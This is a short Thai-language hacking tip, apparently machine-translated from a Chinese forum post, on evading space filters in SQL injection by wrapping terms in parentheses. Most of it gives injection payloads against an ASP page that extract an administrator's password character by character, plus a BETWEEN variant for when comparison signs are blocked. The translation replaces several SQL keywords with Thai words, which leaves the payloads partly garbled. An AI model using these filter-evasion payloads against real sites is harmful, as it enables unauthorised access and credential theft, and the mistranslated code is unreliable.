เกี่ยวกับช่องว่างมีวิธีการทางเลือกมากมายเช่นช่องว่างแท็บและ / ** / ในฐานข้อมูล SQL แต่ฉันพบวิธีทางเลือกอื่นซึ่งได้รับการตีพิมพ์ใน "คู่มือแฮ็กเกอร์" ฉบับปี 2549.7 ที่นี่เราเลือกสาระสำคัญและลองมาดูกันเถอะ!
สำหรับคำสั่ง SQL ทุกคนยังคงคุ้นเคยกับช่องว่างของพวกเขาเช่น SelectIdFrom [ชื่อ] หากไม่มีที่ว่างอยู่ตรงกลางมันจะกลายเป็น selectidfrom [ชื่อ] และมันสับสน! นอกเหนือจากวิธีการทางเลือกของช่องว่างสองสามข้อที่กล่าวถึงข้างต้นฉันพบว่าการใช้ () วงเล็บสามารถทำงานได้ใน SQL ตัวอย่างเช่นคำสั่งข้างต้นสามารถเขียนเป็น SELECT (ID) จาก [ชื่อ] คั่นด้วยวงเล็บและสามารถดำเนินการได้ตามปกติ
ตัวอย่างเช่นเราได้รับจุดฉีด: jmdcw.asp? name = aa'and1 = 1and '' = 'ถ้าคุณแทนที่คำสั่งที่ 1 = 1 คือรหัสผ่านของผู้ดูแลระบบการสืบค้น: (SelectAc (Mid (Pass, 1,1)) จาก [ชื่อ] โดยที่ = 1)> 49 วิธีใช้ช่องว่าง? จริงๆแล้วมันสามารถเขียนได้เช่นนี้:
jmdcw.asp? name = aa'and ((select (asc (mid (pass, 1,1))) จาก [ชื่อ] โดยที่ (id = 1))> 49) และ '' = '
หากสัญลักษณ์ <และ> ถูกบล็อกให้ใช้ระหว่าง…และ…และคำสั่งคือ:
jmdcw.asp? name = aa'and ((เลือก (asc (mid (pass, 1,1))) จาก [ชื่อ] โดยที่ (id = 1)) ระหว่าง (40) และ (50)) และ '='
สำหรับสถานที่ที่ช่องว่างควรปรากฏอยู่ตรงกลางใช้ () เพื่อแทนที่พวกเขา แต่มันไม่ง่ายที่จะใช้สำหรับคำสั่ง SQL ที่ซับซ้อนมาก ข้างต้นคือประเภทตัวละคร หากเป็นประเภทตัวเลขคุณสามารถเพิ่มตัวยึดหลังจาก ID = 1 อย่างไรก็ตามฉันยังไม่ได้ทดสอบสิ่งนี้เช่น: jmdcw.asp? id = (1) และ (เลือก ...... ) มันควรจะเป็นไปได้ใช่ไหม
ฮ่าฮ่าขอสรุปและแบ่งปันกับเพื่อน ๆ ใน Loveshell